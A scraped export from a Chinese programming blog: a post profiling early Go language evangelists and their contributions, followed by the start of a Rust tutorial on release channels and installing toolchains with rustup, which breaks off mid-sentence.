https://tonybai.com/2024/05/17/the-early-evangelists-of-go\nGo自2009年开源至今已经快15年了！这期间，有很多人对Go语言的发展做出了重要贡献，起到了至关重要的作用，他们被视为Go语言的早期布道者和鼓吹者。他们向Go社区传达着Go的价值观、Go的最新发展、Go的使用方法以及最佳实践。\n这些人有来自Go团队的，有来自Google但非Go团队的，也有Go的早期采纳者和贡献者。如今这些人的状况不尽相同。有些人依然在活跃在Go团队中，为Go的演进持续做着贡献；有些人由于各种原因，已经退居二线，但仍心系Go的发展；还有一些人则逐渐淡出Go社区，或者说不再复当年的那种热忱。\n不过，无论哪种，这些人为Go语言的推广和发展都做出了不可磨灭的贡献，值得Gopher们铭记。在这篇文章中，我就来说说这些Go早期的布道师。也可以让后进入Go阵营的Gopher们了解一下过去的事情。\n注：这里是不完全统计，还有很多早期Go布道师做出了重要贡献，限于篇幅，这里就不一一列举细数了。\nRob Pike Rob Pike 是Go语言的共同创始人之一，他在2007年与Ken Thompson和Robert Griesemer一起开始了Go语言的开发。\n作为一名经验丰富的计算机科学家，Rob Pike曾在贝尔实验室工作，参与了Plan 9和Inferno操作系统的开发，UTF-8也是他的杰作。此外，他还是C语言和UNIX操作系统的早期贡献者之一。\nRob Pike为Go语言的设计和实现做出了重大贡献。他的设计理念强调简洁、并发和高效，这些理念深深影响了Go语言的核心特性。在Go语言的早期发展阶段，Rob Pike几乎主导了Go语言规范的制定，并负责了许多关键语言特性的开发。在Ken Thompson退休后，他成为了Go语言第一代的领军人物。\n除了技术贡献，Rob Pike还是最为积极的Go语言推广者。他在Google内外的各种会议和技术活动中发表演讲，介绍Go语言的优势、应用场景以及使用方法。他的演讲风格生动有趣，深受开发者的喜爱。此外，Rob Pike还撰写了大量关于Go语言的博客和技术文档，为社区提供了宝贵的学习资源。\n截图来自golang.design\n他的“3 Day Go Course”也是最早、最权威的Go教程，即便在今天看来略有些Outdated了:)。\n注：关于Rob Pike的早期3-days Go Course ppt，可以在这里下载https://www.cs.cmu.edu/afs/cs.cmu.edu/academic/class/15440-f11/go/doc/\n现如今，Rob Pike已经从Google退休了，并长居澳大利亚，并继续为Go语言的发展做着贡献。尽管他不再像早期那样频繁地参与社区活动，但他的影响力依然深远，Go 1.18泛型发布前，Rob Pike就及时纠正了Go团队对泛型的支持策略。\nRob Pike的工作为Go语言奠定了坚实的基础，使其成为现代编程语言中的一颗璀璨明珠。\nRobert Griesemer Robert Griesemer是Go语言的另一位共同创始人。他在加入Go团队之前，他曾参与Google V8 JavaScript引擎、Sawzall语言、Java HotSpot虚拟机和Strongtalk系统的工作，拥有丰富的编程语言设计和实现经验。\nGriesemer在设计和实现Go语言方面发挥了关键作用，尤其是在语法和编译器的开发上。Griesemer的设计理念强调语言的简洁性和易用性，这使得Go语言在开发者中迅速获得了广泛的认可。他致力于优化编译器性能，使Go程序能够高效地运行在各种平台上。Griesemer还参与了Go语言标准库的设计和实现，为开发者提供了丰富的工具和资源。\n在Go语言的推广方面，Griesemer同样不遗余力。他经常参与技术会议和社区活动，分享Go语言的设计理念和最佳实践，他也是唯一在GopherChina上现场进行分享的Go语言之父。\n他的技术讲座深入浅出，帮助许多开发者快速上手Go语言。此外，Griesemer还与其他团队成员合作撰写了多篇技术论文和博客，进一步推动了Go语言的普及。\n截图来自golang.design\n目前，Griesemer依然在Google Go团队工作，奋战在Go语言的开发和优化的第一线。他和Ian Lance Taylor共同设计和实现了Go泛型机制，大幅提升了Go的表达能力。他的工作对Go语言的成功起到了至关重要的作用，使其成为许多大型项目和企业的首选开发语言。\nBrad Fitzpatrick Brad Fitzpatrick是一位资深的美国程序员。在加入Go团队之前，Fitzpatrick就因创建LiveJournal和Memcached而闻名。后来加入Google，成为Go团队的重要成员，并在Go语言社区中拥有很高的声誉。\n在Go语言的发展过程中，Fitzpatrick为许多关键组件做出了贡献，尤其是在网络库和并发编程模型方面。他创建了诸如HTTP包和context包等核心库，这些库广泛应用于Go语言的网络编程中。\nFitzpatrick不仅在技术上对Go做出了杰出贡献，他还是Go社区活动的积极参与者，是Go团队中参与社区活动的“典范”。他经常在技术会议和用户组活动中发表演讲，分享自己的经验和最佳实践。Fitzpatrick的工作帮助许多开发者更好地理解和使用Go语言，推动了社区的发展。\n截图来自golang.design\n几年前，Fitzpatrick离开了Google并重新创业，他联创的Tailscale基于WireGuard和Go打造号称世界上最容易使用的安全private network产品。一些Go commiter和Ex-googler也被Fitzpatrick招入tailscale。Tailscale团队后续也成为了Go的重要贡献团队，比如go4org下的很多实用包，像intern、unsafe-assume-no-moving-gc、mem等。其中的intern还是Go 1.23中加入的unique包的灵感之源。\n仍然活跃在Go开源社区的Fitzpatrick依旧继续为Go语言和其他开源项目做着贡献，他的热情和奉献精神使他成为Go社区中备受尊敬的领袖之一。\nAndrew Gerrand Andrew Gerrand是Go团队的早期成员之一，他为Go团队工作七年，早期也是Go项目的Top10贡献者。但他在Go团队的主要职责其实是围绕该语言构建社区并管理开源项目。Gerrand的工作帮助许多开发者快速上手Go语言。他编写的Go语言文章深入浅出，覆盖了从基础语法到高级特性的方方面面。此外，Gerrand还创建了Go Playground，一个在线编程环境，使开发者能够方便地编写和运行Go代码。\n除了技术文档，Gerrand还积极参与社区活动。他组织和主持了多次Go语言会议（比如GopherCon）和用户组活动，推动了Go社区的建设和发展，是Rob Pike做Go社区推广的好搭档。。Gerrand还经常在Go语言的官方博客上发表文章，介绍Go的最新特性和最佳实践，官博早期的大部分文章都出自他手。由此看来，Gerrand在早期对Go语言的推广和社区建设做出过重要贡献。\n从2016年开始，他跟随Rob Pike转战Upspin项目，这个项目活跃了一年多，虽然现在依然在更新，但关注度目前已不是很高。Gerrand目前已经远离Go项目开发，并且很少撰文或参与Go社区活动。但他仍然在upspin、deps.dev等google项目上使用Go进行着开发和维护工作。\n如果要关注Gerrand的日常，可以在X上follow他的账号。\nRuss Cox Russ Cox是早期Go语言团队的重要成员之一，对Go语言的设计和实现做出了重大贡献。他拥有麻省理工学院的计算机科学博士学位，曾在贝尔实验室和Rob Pike一起在Plan9项目上工作过。Cox在加入Google后，成为Go语言项目的核心开发者之一。\nRuss Cox对Go的贡献是全方位的，无论在语言特性、工具链、社区推广等方面都有很大建树。这也使得他在Rob Pike退休后，迅速成为了Go语言的第二代领军人物。\n近几年进入Go阵营的开发者对Russ Cox不可谓不熟悉，他主导了vendor、type alias、Go module、泛型等设计和实现，直接引领了Go的演进方向。\n近几年，Russ Cox经常在GopherCon大会上代表Go团队发表主旨演讲，并在官博亲自撰文，向Go社区传达Go语言的演进思路与方向。经过多年历练，Russ Cox逐渐扛起了Go这杆大旗，接过了Rob Pike手中沉甸甸的Go接力棒。\nDmitry Vyukov Dmitry Vyukov是一位俄罗斯大神级程序员，英特尔并行编程黑带级程序员。加入Google后一直从事性能优化方面的工作，包括并发无锁算法、执行跟踪和竞争检测工具、fuzzing工具等。Vyukov虽然不是Go团队成员，但他对Go的贡献却是核心级的，主要包括：\nGoroutine scheduler的设计和实现，从G-M模型，到G-P-M模型，至今Goroutine scheduler还是在Vyukov实现的基础上修修补补的。他还提出了Go调度器的NUMA设计方案，但目前尚未进入Go proposal流程 Go execution tracer的设计和实现 设计和实现Go Fuzzing的早起雏形，并推动Fuzzing进入Go项目。 除了技术贡献，Vyukov早期也会参与一些会议和社区活动，虽然不多，主要是推广Go execution tracer和go-fuzz工具。\n目前，Vyukov依然在Google工作，也在继续为Go语言的发展做着力所能及的贡献。\nSteve Francia Steve Francia是早起Go语言社区的重要成员之一，对Go语言的推广和社区建设做出了重要贡献。Francia在加入Google之前，曾在MongoDB、Docker公司工作，拥有丰富的开发和管理经验。之后他加入Google，在Go语言项目中担任开发者关系经理，负责推动Go语言在企业中的应用。\nFrancia最为人称道的是他开发并开源的几个Go项目，包括goHugo、Cobra和viper等。其中的hugo，一个基于Go语言的静态网站生成器，广受开发者的欢迎。\n除了技术贡献，Francia还致力于社区建设。他组织和主持了多次Go语言会议和用户组活动，推动了Go社区的发展。Francia还在其个人博客上撰写了大量关于Go语言的技术文档，为开发者提供了宝贵的学习资源。\n目前，Francia已经离开了Google和Go团队，并在一家位于纽约的初创公司担任CTO。目前在Go社区，他已不再像以前那样活跃，但他的几个开源项目依然保持积极开发中，也有人协助他打理这些开源项目。\n总之，Francia的工作对Go语言的普及和社区建设起到了重要的作用，帮助Go成为开发者们最喜爱的编程语言之一。\nJaana Dogan Jaana Dogan是这个布道者列表中唯一的女性程序员。她曾是Go语言团队的一名工程师，对Go语言的性能优化、诊断和工具开发做出了重要贡献。但她在Go团队工作的时间并不长，很快就离开了Go团队，原因未知。目前她供职在github。\nDogan对社区的贡献主要体现在其关于Go的独特观点的博客文章、诊断相关的技术文档以及其开源的诸多项目，比如：hey、gops、govanityurls、statik等。这些项目都不大，但却十分实用。\n很多gopher中使用hey进行http压测，gops则是高频使用的Go辅助诊断工具，govanityurls则是我的《小厂内部私有Go module拉取方案》的重要组件。statik也是Go 1.16版本引入go:embed之前在可执行文件中嵌入静态文件的一个可选工具。\nDogan在社区中以其深入的技术见解和乐于分享的态度，赢得了广泛的尊重和赞誉。不过，离开Google后，尤其是进入github后，Dogan在Go上面的投入似乎变少了很多，博客文章基本也不更新了，也没有新的开源项目产出，这对Go社区来说算是一个“损失”吧。\nBrian Ketelsen和Erik St. Martin 将Brian Ketelsen和Erik St. Martin放在一起说，是因为他们一起对Go语言以及Go社区的最大贡献就是共同创办了GopherCon，这是全球最大也是最权威的Go语言开发者大会，每年都会吸引大量来自世界各地的Go开发者。GopherCon不仅是一个技术交流的平台，也是Go社区的重要聚会，促进了开发者之间的交流与合作。两人在组织和推动GopherCon的过程中，展示了他们对Go语言的热情和奉献精神。今年(2024年)也是GopherCon诞生的第10个年头，想必这又是一场Go语言和Go社区的盛会！\n除了会议组织和社区活动，Ketelsen和St. Martin还与William Kennedy联合撰写了关于Go语言的技术书籍《Go in Action》。这本书深入浅出地介绍了Go语言的基础知识和实际应用，为开发者提供了系统的学习资源。此外，他们还参与了多个开源项目，为Go语言的生态系统做出了重要贡献。\n目前，Ketelsen和St. Martin都供职于微软公有云团队，仍然活跃在Go社区。\nFrancesc Campoy Francesc Campoy是Go语言社区的知名讲师和布道者，对Go语言的推广和普及做出了重要贡献。Campoy在加入Google之前，曾在西班牙的一家软件公司工作，拥有丰富的开发经验。他在Go语言项目中担任开发者关系经理，负责向开发者推广Go语言。Campoy也曾作为GopherChina的嘉宾在多年前来到中国布道！\nCampoy的工作帮助许多开发者快速上手Go语言。他制作了一系列高质量的Go语言视频教程“Just for func”，涵盖了从基础语法到高级特性的方方面面。这些视频教程深入浅出，受到了广泛的欢迎。此外，Campoy还创建了Go语言的官方YouTube频道，定期发布技术讲座和演示，进一步推动了Go语言的普及。\n2016年，Campoy从Google离职，加入Dgraph Labs，负责原生GraphQL数据库dgraph以及键值数据库badger的开发。后来Dgraph labs内讧，Campoy转投到apple名下。\n进入Apple后，Campoy就渐渐从Go社区淡出了。但他仍然会进行一些Go项目的开发，Github的activity中有他的一些活动记录，但更多地是对私有仓库的贡献。\nDave Cheney 如果说Go团队之外，谁是大家最喜欢的Go布道师和意见领袖，矮胖子Dave Cheney肯定可以拿到数一数二的选票。\n相信早期学过Go语言的Gopher们，没有没读过Dave Cheney的个人博客的。他的博客从2010开始写的内容就几乎都与Go相关，并且思维缜密，写作风格深入浅出，颇受Gopher欢迎。\n很多人还参与过他在世界各地举办的Go用户活动。Dave Cheney也是来到中国GopherChina大会最多的Go布道师，为中国Gopher带来了精彩的演讲以及极具干货的大会前Workshop。\n除了技术资料外，Dave Cheney早期在Go项目的issue上、在go-nuts邮件列表以及stackoverflow上也是非常活跃，非常乐于帮助那些想给Go项目做出贡献的gopher融入。同时他在github.com/pkg下开源的诸多项目也非常实用（比如https://github.com/pkg/errors），深受大家欢迎。\n更多关于Dave Cheney对Go语言的贡献，可以阅读其个人博客的about页面。\n不过不知何故，从2021年初开始，Dave Cheney的博客开始停更，他在社区的声音也逐渐消失。直到今年年初，Dave Cheney才又更新了一篇名为“Microblog: TestMain can cause one to question reality”的文章。\n不过从Dave Cheney的github Contribution activity来看，Dave仍然在大量的编写代码，只是这些代码是commit到private仓库的。\n希望Dave Cheney能早日回归Go社区，并恢复当初的那份热忱。\nBill Kennedy Bill Kennedy是Go语言社区的知名讲师和布道者，对Go语言的推广和普及做出了重要贡献，并且这种贡献一直持续至今。\nKennedy是ardan labs的CTO，也是该公司的主要讲师，他最拿手的Ultimate Go培训已经开办了十多年了，每年都会在全球进行很多场培训，此外，GopherCon大会前的Workshop总是少不了Bill Kennedy的training。\n除了Training，Ardan Labs早期的博客文章也堪称精品，不少Gopher因这些文章而受益！Kennedy的工作主要是帮助许多开发者快速上手Go语言。他还撰写了多本关于Go语言的技术书籍，如《Go in Action》和《Ultimate Go》。这些书籍深入浅出，涵盖了从基础语法到高级特性的方方面面，为开发者提供了系统的学习资源。\n除了技术培训，Kennedy还积极参与Go语言演进和Go社区活动之中，这其中一个最典型的事件就是2019年他代表广大Gopher用户发给Go团队的公开信，极力组织不成熟的try关键字提案进入Go语言。\n目前，Kennedy依然活跃在Go社区，继续推动Go语言的发展和普及。\nMat Ryer Mat Ryer是Go语言社区的一位资深开发者和布道者，他是一名英国程序员。他之前在Go社区非常活跃，积极参与技术会议和社区活动，分享Go语言在实际项目中的应用经验和最佳实践，其中最持久的莫过于主持Go Time播客了！”Go Time”是一个专注于Go编程语言的播客节目。该播客由Changelog Media出品，主要内容涵盖了Go语言的新特性、最佳实践、社区新闻、工具和库的推荐，以及与Go生态系统相关的各种话题。节目通常会邀请Go社区的知名开发者、贡献者和专家作为嘉宾，分享他们的经验和见解。截至写本文时，该播客已经发布了315期，每期都有音频和文字稿。\n除了上述活动，Mat Ryer还是《Go Programming Blueprints》一书的作者。\n如今Mat Ryer依然活跃在Go社区，他供职于Grafana，依然从事着Go语言开源项目的开发，同时主持Go Time播客以及组织和参与各种Go用户会议。\n参考资料 Go history – https://golang.design/history/ Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/05/17/the-early-evangelists-of-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-early-evangelists-of-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/05/17/the-early-evangelists-of-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/05/17/the-early-evangelists-of-go\"\u003ehttps://tonybai.com/2024/05/17/the-early-evangelists-of-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo自2009年开源至今\u003ca href=\"https://tonybai.com/2023/11/11/go-opensource-14-years/\"\u003e已经快15年了\u003c/a\u003e！这期间，有很多人对Go语言的发展做出了重要贡献，起到了至关重要的作用，他们被视为\u003cstrong\u003eGo语言的早期布道者和鼓吹者\u003c/strong\u003e。他们向Go社区传达着Go的价值观、Go的最新发展、Go的使用方法以及最佳实践。\u003c/p\u003e\n\u003cp\u003e这些人有来自Go团队的，有来自Google但非Go团队的，也有Go的早期采纳者和贡献者。如今这些人的状况不尽相同。有些人依然在活跃在Go团队中，为Go的演进持续做着贡献；有些人由于各种原因，已经退居二线，但仍心系Go的发展；还有一些人则逐渐淡出Go社区，或者说不再复当年的那种热忱。\u003c/p\u003e","title":"Go早期的那些布道者"},{"content":"\n本文永久链接 – https://tonybai.com/2024/05/10/gopher-rust-first-lesson-setup-dev-env\n经过上一章的对Rust诞生演化的了解以及设计哲学的探讨后，如果你依然决定继续Rust编程学习之旅，那么欢迎你和我一起正式走进Rust学习和实践的课堂。\n编程不是“纸上谈兵”，它是一门实践的艺术。编程语言的学习离不开动手实践，因此学习任何一门编程语言的第一步都是要拥有一个这门编程语言的开发环境，这样我们才可以动手编码，理论与实践结合，不仅加速学习效率，还能取得更好的学习效果。\n在这一章中我们就先来学习下如何安装和配置Rust开发环境。如果你的机器上还没有Rust开发环境，那么就请跟我一起选择一种适合你的Rust安装方法吧。\n第一步，我们先来挑一个合适的Rust版本。\n2.1 选择Rust版本 2.1.1 Go与Rust发布版本与节奏的对比 在《Go语言第一课专栏》讲解如何建立Go开发环境时，我首先讲解的也是选择Go版本。我们知道Go一年发布两次大版本，分别是每年的2月和8月，并且Go核心团队只对最近的两个大版本提供support。在处于support时间窗口中的时候，Go核心团队会发布一些补丁版本，修正及少量的严重问题或安全漏洞。比如Go 1.22版本是2024年2月份发布的，到2024年4月中旬，Go 1.22的最新补丁版本已经到了Go 1.22.2了。下图展示了Go版本发布的节奏以及support的窗口：\n在Go中，我们可以选择最新稳定版（比如图中的Go 1.22.2）和次新稳定版（比如图中的1.21.8），这两个是Go社区选择最多的。此外，也可以选择某个特定的稳定版（因某种特殊原因，被阻塞在该版本上）以及tip版，其中tip版（master分支上的最新commit版本）主要用于体验最新的、尚未发布的功能特性或问题修复，或是contributor多使用tip版。\nRust的版本发布节奏与Go完全不同，因此Rust版本的选择逻辑与Go相比也就有所不同。下图展示了Rust的版本发布方法与节奏：\n我们看到：Rust采用“6周一个稳定版”的滚动发布节奏，并且有三类版本：稳定版(stable)、公测版(beta)和nightly版，分别对应的是stable分支、beta分支和master分支。三个版本间是关联紧密的。\n以图中的rust 1.77.0的发布为例，rust 1.77.0稳定版本的发布动作是这样的：\n基于当前beta分支(其实就是1.77.0 beta)创建新的stable分支，并tag 1.77.0； 基于当前master分支(nightly版本)创建新的beta分支，并在新的beta分支上公测1.78.0版本，为六周后的1.78.0稳定版做准备； 而master分支上继续开发v1.79.0的新特性，并每天发布Nightly版本。 之后，原1.76.0稳定版便会从support窗口删除，1.77.0进入Support窗口。如果新发布的1.77.0有紧急或安全问题需要修复，则通过补丁(patch)版本进行，比如rust 1.77.1、1.77.2等。\nRust这种“稳定一版，公测一版，开发一版”的“三路并发”的滚动开发节奏，显然要比Go的“稳定一版，开发一版”的“两路并发”节奏要快上很多。不过，频繁的更新可能对某些用户来说是一个挑战，需要他们不断学习和适应新的变化。另外，较快的演进速度也可能导致一些不稳定因素，需要开发者更加谨慎地使用新功能特性。\n2.1.2 Rust的三类版本 选择Rust版本根据自己的角色和面对的场合来进行：\n对于大多数Rust开发者而言，最新的稳定版(stable)是最好和最明智的选择； 也有少部分因为各种特殊原因，可能阻塞在某个特定的稳定版上； Beta版contributor，或是想提前尝鲜下一个稳定版新特性的开发人员，可以临时使用beta版本； Nightly版，主要针对的也是contributor，或是想临时尝鲜最新不稳定功能特性的开发人员。 Rust提供的安装和升级工具rustup可以灵活的在三类版本间切换：\nrustup default beta rustup default nightly rustup default stable 切换后，rustup会自动同步该类版本到最新版：\n$rustup default beta info: syncing channel updates for 'beta-x86_64-apple-darwin' info: latest update on 2024-04-11, rust version 1.78.0-beta.6 (27011d5dc 2024-04-09) ... ... 确定了要使用的Rust版本后，我们接下来就来看看究竟如何安装Rust。\n2.2 安装Rust 2.2.1 使用rustup安装 和Go尽可以通过安装包或下载预编译二进制包进行首次安装不同，Rust官方提供了统一的Rust安装、管理和升级工具- rustup。 Rust官方在Linux和macOS上提供了“curl | sh”的一键式安装命令：\n$curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh 我们以Linux下安装rustup为例，看一下执行上面命令的过程和最终结果：\n$curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh info: downloading installer Welcome to Rust! This will download and install the official compiler for the Rust programming language, and its package manager, Cargo. Rustup metadata and toolchains will be installed into the Rustup home directory, located at: /root/.rustup This can be modified with the RUSTUP_HOME environment variable. The Cargo home directory is located at: /root/.cargo This can be modified with the CARGO_HOME environment variable. The cargo, rustc, rustup and other commands will be added to Cargo's bin directory, located at: /root/.cargo/bin This path will then be added to your PATH environment variable by modifying the profile files located at: /root/.profile /root/.bashrc You can uninstall at any time with rustup self uninstall and these changes will be reverted. Current installation options: default host triple: x86_64-unknown-linux-gnu default toolchain: stable (default) profile: default modify PATH variable: yes 1) Proceed with standard installation (default - just press enter) 2) Customize installation 3) Cancel installation \u0026gt; // 敲击回车 info: profile set to 'default' info: default host triple is x86_64-unknown-linux-gnu info: syncing channel updates for 'stable-x86_64-unknown-linux-gnu' info: latest update on 2024-04-09, rust version 1.77.2 (25ef9e3d8 2024-04-09) info: downloading component 'cargo' info: downloading component 'clippy' info: downloading component 'rust-docs' info: downloading component 'rust-std' info: downloading component 'rustc' info: downloading component 'rustfmt' info: installing component 'cargo' info: installing component 'clippy' info: installing component 'rust-docs' 14.9 MiB / 14.9 MiB (100 %) 3.7 MiB/s in 3s ETA: 0s info: installing component 'rust-std' 24.3 MiB / 24.3 MiB (100 %) 8.2 MiB/s in 2s ETA: 0s info: installing component 'rustc' 60.3 MiB / 60.3 MiB (100 %) 9.6 MiB/s in 6s ETA: 0s info: installing component 'rustfmt' info: default toolchain set to 'stable-x86_64-unknown-linux-gnu' stable-x86_64-unknown-linux-gnu installed - rustc 1.77.2 (25ef9e3d8 2024-04-09) Rust is installed now. Great! To get started you may need to restart your current shell. This would reload your PATH environment variable to include Cargo's bin directory ($HOME/.cargo/bin). To configure your current shell, you need to source the corresponding env file under $HOME/.cargo. This is usually done by running one of the following (note the leading DOT): . \u0026quot;$HOME/.cargo/env\u0026quot; # For sh/bash/zsh/ash/dash/pdksh source \u0026quot;$HOME/.cargo/env.fish\u0026quot; # For fish 接下来按照提示执行下面命令，使得Rust相关的环境变量生效：\n$. \u0026quot;$HOME/.cargo/env\u0026quot; $which rustup /root/.cargo/bin/rustup . “$HOME/.cargo/env”这行代码也被追加到/root/.bashrc文件中，如果新启动一个terminal窗口，这行shell配置也会被执行，即rustup的环境变量也生效。\n查看一下安装的rustup的版本：\n$rustup -V rustup 1.27.0 (bbb9276d2 2024-03-08) info: This is the version for the rustup toolchain manager, not the rustc compiler. info: The currently active `rustc` version is `rustc 1.77.2 (25ef9e3d8 2024-04-09)` 同时我们看到：首次安装rustup时，如果选择“standard installation”，rustup会为我们安装一个最新的Rust stable版本，这里是1.77.2，我们可以通过rustup show命令查看已安装的rust工具链：\n$rustup show Default host: x86_64-unknown-linux-gnu rustup home: /root/.rustup stable-x86_64-unknown-linux-gnu (default) rustc 1.77.2 (25ef9e3d8 2024-04-09) 除此之外，rustup还在你的系统中都做了啥呢？我们下面来探索一下。\n2.2.1.1 安装后的探索 根据rustup在安装过程中的提示，有两个路径是需要重点关注的。\n一个就是\\$HOME/.cargo，rustup将.cargo/bin加入到了\\$PATH变量下，我们来看看.cargo下都有哪些目录和文件：\n$tree -F .cargo .cargo |-- bin/ | |-- cargo* | |-- cargo-clippy* | |-- cargo-fmt* | |-- cargo-miri* | |-- clippy-driver* | |-- rls* | |-- rust-analyzer* | |-- rustc* | |-- rustdoc* | |-- rustfmt* | |-- rust-gdb* | |-- rust-gdbgui* | |-- rust-lldb* | `-- rustup* `-- env .cargo下主要的目录就是bin，这里存放了日常rust开发时在命令行使用的所有cli命令，包括cargo(构建管理工具)、rustc(编译器)、rustdoc、rustfmt以及rustup自身等。\n另外一个更值得关注的目录就是\\$HOME/.rustup目录，这个目录下的内容较多，我们通过tree命令查看的结果如下：\n$tree -F -L 3 .rustup .rustup |-- downloads/ |-- settings.toml |-- tmp/ |-- toolchains/ | `-- stable-x86_64-unknown-linux-gnu/ | |-- bin/ | |-- etc/ | |-- lib/ | |-- libexec/ | `-- share/ `-- update-hashes/ `-- stable-x86_64-unknown-linux-gnu settings.toml是一个rustup配置文件，它的内容如下：\n$cat .rustup/settings.toml default_toolchain = \u0026quot;stable-x86_64-unknown-linux-gnu\u0026quot; profile = \u0026quot;default\u0026quot; version = \u0026quot;12\u0026quot; [overrides] 这里的default_toolchain指示了当前默认使用的工具链版本为stable-x86_64-unknown-linux-gnu。这个版本也是一个target，Rust支持的不同平台上的target以及含义如下图：\n.rustup下的另外一个值得注意的目录是toolchains，它下面存放了安装到本地的所有版本的toolchain，上面由于只安装了stable的最新版本，因此当前toolchains下只有一个stable-x86_64-unknown-linux-gnu目录。\n值得注意的是.rustup中存储了rust工具链的所有内容，因此它的空间占用也着实可观：\n$ du -sh .rustup 1.2G .rustup 现在我们来切换默认版本到beta：\n$rustup default beta info: syncing channel updates for 'beta-x86_64-unknown-linux-gnu' info: latest update on 2024-04-11, rust version 1.78.0-beta.6 (27011d5dc 2024-04-09) info: downloading component 'cargo' info: downloading component 'clippy' info: downloading component 'rust-docs' info: downloading component 'rust-std' info: downloading component 'rustc' info: downloading component 'rustfmt' info: installing component 'cargo' info: installing component 'clippy' info: installing component 'rust-docs' 15.1 MiB / 15.1 MiB (100 %) 3.4 MiB/s in 3s ETA: 0s info: installing component 'rust-std' 24.2 MiB / 24.2 MiB (100 %) 9.3 MiB/s in 2s ETA: 0s info: installing component 'rustc' 63.5 MiB / 63.5 MiB (100 %) 9.6 MiB/s in 6s ETA: 0s info: installing component 'rustfmt' info: default toolchain set to 'beta-x86_64-unknown-linux-gnu' beta-x86_64-unknown-linux-gnu installed - rustc 1.78.0-beta.6 (27011d5dc 2024-04-09) 我们看到rustup会自动下载安装最新的beta版本，安装后，我们再执行rustc -V来查看当前版本，我们发现结果已经变为了下面这样：\n$ rustc -V rustc 1.78.0-beta.6 (27011d5dc 2024-04-09) 这里值得注意的是，虽然我们执行的rustc是.cargo/bin/rustc，但.cargo/bin/rustc有些类似于一个指针，真正执行的是其“指向”的某个工具链版本的rustc，我们可以使用rustup which rustc来查看究竟执行的是哪个rustc：\n$ rustup which rustc /root/.rustup/toolchains/beta-x86_64-unknown-linux-gnu/bin/rustc 此时，.rustup目录下面发生了怎样的变化呢？我们来看看：\n$ tree -F -L 3 .rustup .rustup |-- downloads/ |-- settings.toml |-- tmp/ |-- toolchains/ | |-- beta-x86_64-unknown-linux-gnu/ | | |-- bin/ | | |-- etc/ | | |-- lib/ | | |-- libexec/ | | `-- share/ | `-- stable-x86_64-unknown-linux-gnu/ | |-- bin/ | |-- etc/ | |-- lib/ | |-- libexec/ | `-- share/ `-- update-hashes/ |-- beta-x86_64-unknown-linux-gnu `-- stable-x86_64-unknown-linux-gnu 我们看到toolchains下面多了一个beta-x86_64-unknown-linux-gnu目录，存放的就是刚刚安装的beta最新版本工具链。\n现在我们在用rustup show命令查看已安装的rust工具链，其结果如下：\n$rustup show Default host: x86_64-unknown-linux-gnu rustup home: /root/.rustup installed toolchains -------------------- stable-x86_64-unknown-linux-gnu beta-x86_64-unknown-linux-gnu (default) active toolchain ---------------- beta-x86_64-unknown-linux-gnu (default) rustc 1.78.0-beta.6 (27011d5dc 2024-04-09) 现在，我们切换回stable版本，由于stable版本之前已经安装完毕，也就无需下载和安装过程了：\n$rustup default stable info: using existing install for 'stable-x86_64-unknown-linux-gnu' info: default toolchain set to 'stable-x86_64-unknown-linux-gnu' stable-x86_64-unknown-linux-gnu unchanged - rustc 1.77.2 (25ef9e3d8 2024-04-09) 2.2.1.2 安装和使用特定版本rust工具链 我们还可以使用rustup安装特定版本的rust工具链，比如通过下面的命令，我们安装stable版本的1.66.0：\n$ rustup install 1.66.0 info: syncing channel updates for '1.66.0-x86_64-unknown-linux-gnu' info: latest update on 2022-12-15, rust version 1.66.0 (69f9c33d7 2022-12-12) info: downloading component 'cargo' info: downloading component 'clippy' info: downloading component 'rust-docs' info: downloading component 'rust-std' info: downloading component 'rustc' info: downloading component 'rustfmt' info: installing component 'cargo' info: installing component 'clippy' info: installing component 'rust-docs' 19.0 MiB / 19.0 MiB (100 %) 4.4 MiB/s in 3s ETA: 0s info: installing component 'rust-std' 29.7 MiB / 29.7 MiB (100 %) 8.1 MiB/s in 3s ETA: 0s info: installing component 'rustc' 68.0 MiB / 68.0 MiB (100 %) 10.2 MiB/s in 6s ETA: 0s info: installing component 'rustfmt' 1.66.0-x86_64-unknown-linux-gnu installed - rustc 1.66.0 (69f9c33d7 2022-12-12) info: checking for self-update 安装ok后，我们再来看看.rustup目录下的变化：\n$tree -F -L 3 .rustup .rustup |-- downloads/ |-- settings.toml |-- tmp/ |-- toolchains/ | |-- 1.66.0-x86_64-unknown-linux-gnu/ | | |-- bin/ | | |-- etc/ | | |-- lib/ | | |-- libexec/ | | `-- share/ | |-- beta-x86_64-unknown-linux-gnu/ | | |-- bin/ | | |-- etc/ | | |-- lib/ | | |-- libexec/ | | `-- share/ | `-- stable-x86_64-unknown-linux-gnu/ | |-- bin/ | |-- etc/ | |-- lib/ | |-- libexec/ | `-- share/ `-- update-hashes/ |-- 1.66.0-x86_64-unknown-linux-gnu |-- beta-x86_64-unknown-linux-gnu `-- stable-x86_64-unknown-linux-gnu 我们看到toolchains下面多了一个1.66.0-x86_64-unknown-linux-gnu，那我们如何使用新下载的1.66.0 